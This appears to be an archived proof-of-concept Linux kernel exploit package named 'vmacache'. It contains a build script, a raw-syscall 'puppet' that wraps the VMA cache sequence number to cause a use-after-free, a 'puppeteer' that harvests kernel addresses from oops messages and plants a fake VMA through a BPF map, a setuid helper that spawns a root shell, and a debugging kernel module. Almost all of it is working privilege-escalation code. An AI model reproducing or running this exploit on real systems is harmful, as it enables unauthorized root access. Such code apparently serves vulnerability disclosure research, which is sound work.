README.md
Rendering markdown...
vmacache/compile.sh 0000777 1345601 0257523 00000000163 13351217717 015271 0 ustar jannh primarygroup #!/bin/sh
gcc -o puppet puppet.c -nostdlib -O1
gcc -o puppeteer puppeteer.c -O1
gcc -o suidhelper suidhelper.c -O1
vmacache/puppet.c 0000666 1345601 0257523 00000013072 13351210732 014754 0 ustar jannh primarygroup #include "vmacache_helper.h"
#define PROT_RO 1
#define PROT_RW 3
#define PROT_RX 5
#define MAP_PRIV_ANON 0x22
#define MAP_FIXED 0x10
// mirrors the sequence number on the mm_struct, except without the 2^32 wrap
long sequence_mirror = 2;
#define FAST_WRAP_AREA ((char*)0x400000000000UL)
#define PAGE_SIZE 0x1000UL
#define UAF_VMA_AREA ((char*)0x400000010000UL)
#define CHILD_STACK_AREA ((char*)0x410000000000UL)
#define VMA_SPAM_AREA ((char*)0x420000000000UL)
#define VMA_SPAM_COUNT 10000UL
#define VMA_SPAM_DELTA (2*PAGE_SIZE)
#define VMA_SPAM_AREA_SIZE (VMA_SPAM_COUNT*VMA_SPAM_DELTA)
static void memset(void *p_, int c, unsigned long n) {
char *p = p_;
while (n) {
*p = c;
p++;
n--;
}
}
static long syscall(long nr, unsigned long a1,
unsigned long a2, unsigned long a3,
unsigned long a4, unsigned long a5,
unsigned long a6) {
long res = nr;
asm volatile(
"mov %[a4], %%r10\n\t"
"mov %[a5], %%r8\n\t"
"mov %[a6], %%r9\n\t"
"syscall\n\t"
: // out
"+a"(res)
: // in
"D"(a1),
"S"(a2),
"d"(a3),
[a4] "r"(a4),
[a5] "r"(a5),
[a6] "r"(a6)
: // clobber
"r10", "r8", "r9", "r11", "rcx", "cc", "memory"
);
return res;
}
#ifdef CHEAT
static int ctl_fd = -1;
static long ctl_call(int cmd, unsigned long arg) {
return syscall(16, ctl_fd, cmd, arg, 0, 0, 0);
}
#endif
struct cmsg_fd {
unsigned long cmsg_len;
int cmsg_level;
int cmsg_type;
int fd;
} __attribute__((packed));
struct user_msghdr {
void *msg_name;
int msg_namelen;
void/*struct iovec*/ *msg_iov;
unsigned long msg_iovlen;
void *msg_control;
unsigned long msg_controllen;
unsigned int msg_flags;
};
static void sendfd(int sock, int fd) {
struct cmsg_fd cmsg = {
.cmsg_len = sizeof(struct cmsg_fd),
.cmsg_level = 1/*SOL_SOCKET*/,
.cmsg_type = 0x01/*SCM_RIGHTS*/,
.fd = fd
};
struct user_msghdr msg = {
.msg_control = &cmsg,
.msg_controllen = sizeof(cmsg)
};
syscall(46, sock, (unsigned long)&msg, 0, 0, 0, 0);
}
static void exit(int status) {
//exit_group
syscall(231, status, 0, 0, 0, 0, 0);
}
static void *mmap(void *a1, unsigned long a2, int a3, int a4, int a5, long a6) {
return (void*)syscall(9, (unsigned long)a1, a2, a3, a4, a5, a6);
}
static void munmap_noadjacent(void *a1, unsigned long a2) {
syscall(11, (unsigned long)a1, a2, 0, 0, 0, 0);
sequence_mirror++;
}
static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
static void sequence_target(long target) {
while (sequence_mirror + 2 <= target)
sequence_double_inc();
if (sequence_mirror + 1 <= target)
sequence_inc();
}
static void sequence_cheat_bump(long bump) {
#ifdef CHEAT
ctl_call(SEQUENCE_BUMP, bump);
sequence_mirror += bump;
#endif
}
static void do_dmesg_dump(void) {
#ifdef CHEAT
ctl_call(DMESG_DUMP, 0);
#endif
}
static int sync_fd;
static void sync_add(int fd) {
unsigned long val = 1;
syscall(1, fd, (unsigned long)&val, 8, 0, 0, 0);
}
static void sync_dec(int fd) {
unsigned long val;
syscall(0, fd, (unsigned long)&val, 8, 0, 0, 0);
}
struct bpf_map_create_args {
unsigned int map_type;
unsigned int key_size;
unsigned int value_size;
unsigned int max_entries;
unsigned int map_flags;
};
void child_main(void) {
do_dmesg_dump();
for (unsigned long i=VMA_SPAM_COUNT/2; i<VMA_SPAM_COUNT; i++) {
munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}
struct bpf_map_create_args bpf_arg = {
.map_type = 2,
.key_size = 4,
.value_size = 0x1000,
.max_entries = 1024
};
int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);
sendfd(0, bpf_map);
do_dmesg_dump();
sequence_cheat_bump(0xffff0000L);
sequence_target(0x1ffffffffL);
sync_add(sync_fd);
// exit
syscall(60, 0, 0, 0, 0, 0, 0);
}
static int thread_create(char *child_stack) {
int res;
asm volatile(
"mov $56, %%eax\n\t"
"mov $0x50f00, %%edi\n\t"
"mov %[child_stack], %%rsi\n\t"
"xor %%rdx, %%rdx\n\t"
"xor %%r10, %%r10\n\t"
"xor %%r8, %%r8\n\t"
"xor %%r9, %%r9\n\t"
"syscall\n\t"
"test %%eax, %%eax\n\t"
"jnz 1f\n\t"
// child process
"call child_main\n\t"
"ud2\n\t"
"1:"
: //out
"=&a"(res)
: //in
[child_stack] "r"(child_stack)
: //clobber
"rdi", "rsi", "rdx", "r10", "r8", "r9", "r11", "rcx", "cc", "memory"
);
return res;
}
void _start(void) {
unsigned char cpu_mask = 0x01;
syscall(203, 0, 1, (unsigned long)&cpu_mask, 0, 0, 0);
#ifdef CHEAT
ctl_fd = syscall(2, (unsigned long)"/dev/vmacache", 0, 0, 0, 0, 0);
#endif
sync_fd = syscall(284, 0, 0, 0, 0, 0, 0);
mmap(FAST_WRAP_AREA, 0x3000, PROT_RW, MAP_PRIV_ANON, -1, 0);
//mmap(UAF_VMA_AREA, 0x1000, PROT_RW, MAP_PRIV_ANON, -1, 0);
mmap(CHILD_STACK_AREA, 0x10000, PROT_RW, MAP_PRIV_ANON, -1, 0);
memset(CHILD_STACK_AREA, 0xcc, 0x10000);
do_dmesg_dump();
sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);
for (unsigned long i=0; i<VMA_SPAM_COUNT; i++) {
mmap(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON, -1, 0);
}
for (unsigned long i=0; i<VMA_SPAM_COUNT/2; i++) {
munmap_noadjacent(VMA_SPAM_AREA + i * VMA_SPAM_DELTA, PAGE_SIZE);
}
do_dmesg_dump();
thread_create(CHILD_STACK_AREA+0x10000);
sync_dec(sync_fd);
do_dmesg_dump();
// trigger dmesg dump. use high address to avoid pollution.
syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);
// fd 1 is an eventfd for sync with the puppeteer
sync_dec(1);
do_dmesg_dump();
syscall(0, 1, 0x7fffffffd000, 8, 0, 0, 0x01010101feedf00d);
exit(0);
}
vmacache/puppeteer.c 0000666 1345601 0257523 00000015763 13351217616 015471 0 ustar jannh primarygroup #define _GNU_SOURCE
#include <err.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/eventfd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/bpf.h>
struct list_head {
struct list_head *next, *prev;
};
struct rb_node {
unsigned long __rb_parent_color;
unsigned long /*struct rb_node **/rb_right;
unsigned long /*struct rb_node **/rb_left;
} __attribute__((aligned(sizeof(long))));
struct vm_area_struct {
unsigned long vm_start;
unsigned long vm_end;
/*0x10*/
struct vm_area_struct *vm_next, *vm_prev;
/*0x20*/
struct rb_node vm_rb;
unsigned long rb_subtree_gap;
unsigned long/*struct mm_struct **/ vm_mm;
unsigned long vm_page_prot;
unsigned long vm_flags;
struct {
struct rb_node rb;
unsigned long rb_subtree_last;
} shared;
struct list_head anon_vma_chain;
void/*struct anon_vma*/ *anon_vma;
unsigned long /*const struct vm_operations_struct **/ vm_ops;
unsigned long vm_pgoff;
unsigned long /*struct file **/ vm_file;
unsigned long /*struct file **/vm_prfile;
unsigned long /*void **/ vm_private_data;
unsigned long swap_readahead_info;
unsigned long /*struct mempolicy **/vm_policy;
/*struct vm_userfaultfd_ctx vm_userfaultfd_ctx;*/
};
struct vm_operations_struct {
unsigned long open, close, split, mremap, fault, huge_fault, map_pages,
page_mkwrite, pfn_mkwrite, access, name, set_policy,
get_policy, find_special_page;
};
int recvfd(int sock) {
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
.msg_control = hdr,
.msg_controllen = len
};
if (recvmsg(sock, &msg, 0) < 0) err(1, "recvmsg");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
errx(1, "got bad message");
return *(int*)CMSG_DATA(hdr);
}
#define VM_WRITE 0x00000002
#define VM_SHARED 0x00000008
int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
void sync_add(int fd) {
unsigned long val = 1;
write(fd, &val, 8);
}
int main(void) {
system("date");
char buf[0x2000];
int kmsg_fd = open("/dev/kmsg", O_RDONLY|O_NONBLOCK);
if (kmsg_fd == -1) err(1, "open kmsg");
while (1) {
int res = read(kmsg_fd, buf, sizeof(buf));
if (res == -1 && errno == EAGAIN) break;
}
if (fcntl(kmsg_fd, F_SETFL, 0)) err(1, "disable O_NONBLOCK");
printf("puppeteer: old kmsg consumed\n");
int control_fd_pair[2];
int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(kmsg_fd);
close(control_fd_pair[0]);
if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
close(control_fd_pair[1]);
if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
execl("./puppet", "puppet", NULL);
err(1, "execute puppet");
}
close(control_fd_pair[1]);
int bpf_map = recvfd(control_fd_pair[0]);
printf("got map from child!\n");
int state = 0;
unsigned long rsp = 0, vma_kaddr = 0, mm = 0, eventfd_fops = 0;
while (1) {
char *ptr;
int res = read(kmsg_fd, buf, sizeof(buf)-1);
if (res <= 0) err(1, "unexpected kmsg end");
buf[res] = '\0';
if (state == 0 && strstr(buf, "WARNING: ") && strstr(buf, " vmacache_find+")) {
state = 1;
printf("got WARNING\n");
}
if (state == 1 && (ptr = strstr(buf, "RSP: 0018:"))) {
rsp = strtoul(ptr+10, NULL, 16);
printf("got RSP line: 0x%lx\n", rsp);
}
if (state == 1 && (ptr = strstr(buf, "RAX: "))) {
vma_kaddr = strtoul(ptr+5, NULL, 16);
printf("got RAX line: 0x%lx\n", vma_kaddr);
}
if (state == 1 && (ptr = strstr(buf, "RDI: "))) {
mm = strtoul(ptr+5, NULL, 16);
printf("got RDI line: 0x%lx\n", mm);
}
if (state == 1 && strstr(buf, "RIP: 0010:copy_user_generic_unrolled")) {
state = 2;
printf("reached WARNING part 2\n");
}
if (state == 2 && (ptr = strstr(buf, "R08: "))) {
eventfd_fops = strtoul(ptr+5, NULL, 16);
printf("got R8 line: 0x%lx\n", eventfd_fops);
state = 3;
}
if (state > 0 && strstr(buf, "---[ end trace"))
break;
}
printf("trace consumed\n");
sleep(1);
// make suid-maker shell script
{
char *suid_path = realpath("./suidhelper", NULL);
int suid_fd = open("/tmp/%1", O_WRONLY|O_CREAT|O_TRUNC, 0777);
if (suid_fd == -1) err(1, "make suid shell script");
char *suid_tmpl = "#!/bin/sh\n"
"chown root:root '%s'\n"
"chmod 04755 '%s'\n"
"while true; do sleep 1337; done\n";
char suid_text[10000];
sprintf(suid_text, suid_tmpl, suid_path, suid_path);
if (write(suid_fd, suid_text, strlen(suid_text)) != strlen(suid_text))
err(1, "write suid-maker");
close(suid_fd);
}
// prep fake VMA
long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff;
printf("offset: 0x%lx\n", (unsigned long)offset);
unsigned char fake_vma_page[0x1000];
// for debugging, if we put the VMA in the wrong place somehow
for (int i=0; i<0x1000; i+=4) {
*((unsigned int *)(fake_vma_page+i)) = 0xff000000 | i;
}
char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
- 0x88,
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
}
};
memcpy(&fake_vma.vm_rb.rb_left, kernel_cmd, sizeof(kernel_cmd));
if (offset + sizeof(fake_vma) <= 0x1000) {
memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma));
} else {
size_t chunk_len = 0x1000 - offset;
memcpy(fake_vma_page + offset, &fake_vma, chunk_len);
memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len);
}
for (int i=0; i<1024; i++) {
union bpf_attr update_attr = {
.map_fd = bpf_map,
.key = (unsigned long)&i,
.value = (unsigned long)fake_vma_page,
.flags = 0
};
if (bpf_(BPF_MAP_UPDATE_ELEM, &update_attr))
err(1, "BPF_MAP_UPDATE_ELEM");
}
printf("fake vma pushed\n");
sync_add(control_event_fd);
sync_add(control_event_fd);
while (1) {
struct stat helperstat;
if (stat("suidhelper", &helperstat))
err(1, "stat suidhelper");
if (helperstat.st_mode & S_ISUID)
break;
sleep(1);
}
fputs("suid file detected, launching rootshell...\n", stderr);
execl("./suidhelper", "suidhelper", NULL);
err(1, "execl suidhelper");
}
vmacache/suidhelper.c 0000666 1345601 0257523 00000000444 13351003646 015606 0 ustar jannh primarygroup #include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
system("date");
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
vmacache/vmacache_helper.h 0000644 1345601 0257523 00000001043 13350523722 016546 0 ustar jannh primarygroup #define GET_VMA_PTR 0x13370000
struct get_vma_args {
unsigned long mapping_addr;
unsigned long vma_addr;
};
#define DUMP_VMA 0x13370001
struct dump_vma_args {
unsigned long vma_addr;
unsigned long vm_start;
unsigned long vm_end;
struct mm_struct *vm_mm;
unsigned long vm_page_prot;
unsigned long vm_flags;
const struct vm_operations_struct *vm_ops;
unsigned long vm_pgoff;
struct file * vm_file;
void * vm_private_data;
};
#define FORCE_VMA 0x13370002
#define DMESG_DUMP 0x13370003
#define SEQUENCE_BUMP 0x13370004
vmacache/vmacache_helper.c 0000644 1345601 0257523 00000010737 13350524027 016552 0 ustar jannh primarygroup #undef __KERNEL__
#define __KERNEL__
#undef MODULE
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/ioctl.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>
#include <linux/kallsyms.h>
#include <linux/blkdev.h>
#include <linux/mm.h>
#include <linux/vmacache.h>
#include <linux/sched/signal.h>
#include "vmacache_helper.h"
static int ioctl_open(struct inode *nodp, struct file *filp) {
return 0;
}
void vmacache_debug_dump(void)
{
struct mm_struct *mm = current->mm;
struct task_struct *g, *p;
int i;
pr_warn("entering vmacache_debug_dump(0x%lx)\n", (unsigned long)mm);
pr_warn(" mm sequence: 0x%x\n", mm->vmacache_seqnum);
rcu_read_lock();
for_each_process_thread(g, p) {
if (mm == p->mm) {
pr_warn(" task 0x%lx at 0x%x%s\n", (unsigned long)p,
p->vmacache.seqnum,
(current == p)?" (current)":"");
pr_warn(" cache dump:\n");
for (i=0; i<VMACACHE_SIZE; i++) {
unsigned long vm_start, vm_end, vm_mm;
int err = 0;
pr_warn(" 0x%lx\n",
(unsigned long)p->vmacache.vmas[i]);
err |= probe_kernel_read(&vm_start,
&p->vmacache.vmas[i]->vm_start,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_end,
&p->vmacache.vmas[i]->vm_end,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_mm,
&p->vmacache.vmas[i]->vm_mm,
sizeof(unsigned long));
if (err)
continue;
pr_warn(" start=0x%lx end=0x%lx mm=0x%lx\n",
vm_start, vm_end, vm_mm);
}
}
}
rcu_read_unlock();
pr_warn(" #####\n");
}
static long ioctl_handler(struct file *filp_, unsigned int cmd, unsigned long arg) {
void __user *argp = (void __user *)arg;
switch (cmd) {
case GET_VMA_PTR: {
struct get_vma_args args;
struct vm_area_struct *vma;
if (copy_from_user(&args, argp, sizeof(args)))
return -EFAULT;
vma = find_vma(current->mm, args.mapping_addr);
if (!vma || vma->vm_start > args.mapping_addr)
return -ENOENT;
args.vma_addr = (unsigned long)vma;
if (copy_to_user(argp, &args, sizeof(args)))
return -EFAULT;
return 0;
} break;
case DUMP_VMA: {
struct dump_vma_args args;
struct vm_area_struct *vma;
if (copy_from_user(&args, argp, sizeof(args)))
return -EFAULT;
vma = (void*)args.vma_addr;
/* if this is too unstable, use probe_kernel_read() */
args.vm_start = vma->vm_start;
args.vm_end = vma->vm_end;
args.vm_mm = vma->vm_mm;
args.vm_page_prot = vma->vm_page_prot.pgprot;
args.vm_flags = vma->vm_flags;
args.vm_ops = vma->vm_ops;
args.vm_pgoff = vma->vm_pgoff;
args.vm_file = vma->vm_file;
args.vm_private_data = vma->vm_private_data;
if (copy_to_user(argp, &args, sizeof(args)))
return -EFAULT;
return 0;
} break;
case FORCE_VMA: {
char tmp[1];
int res;
pr_warn("FORCE_VMA mm=0x%lx\n", (unsigned long)current->mm);
current->vmacache.vmas[0] = (void*)arg;
current->vmacache.vmas[1] = (void*)arg;
current->vmacache.vmas[2] = (void*)arg;
current->vmacache.vmas[3] = (void*)arg;
current->vmacache.seqnum = current->mm->vmacache_seqnum;
res = copy_from_user(tmp, (void __user *)0x100, 1);
pr_warn("copy_from_user: %d\n", res);
current->vmacache.vmas[0] = NULL;
current->vmacache.vmas[1] = NULL;
current->vmacache.vmas[2] = NULL;
current->vmacache.vmas[3] = NULL;
return 0;
} break;
case DMESG_DUMP: {
vmacache_debug_dump();
return 0;
} break;
case SEQUENCE_BUMP: {
current->mm->vmacache_seqnum += arg;
return 0;
} break;
default: return -EINVAL;
}
}
static int ioctl_release(struct inode *nodp, struct file *filp) {
return 0;
}
static const struct file_operations ioctl_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = ioctl_handler,
.open = ioctl_open,
.release = ioctl_release
};
static struct miscdevice my_miscdev = {
.minor = 0,
.name = "vmacache",
.fops = &ioctl_fops
};
static int __init init_mod(void) {
int ret;
printk(KERN_INFO "loading helper module\n");
ret = misc_register(&my_miscdev);
return ret;
}
static void __exit cleanup_ioctl(void) {
printk(KERN_INFO "unloading helper module\n");
misc_deregister(&my_miscdev);
}
module_init(init_mod);
module_exit(cleanup_ioctl);
MODULE_LICENSE("GPL v2");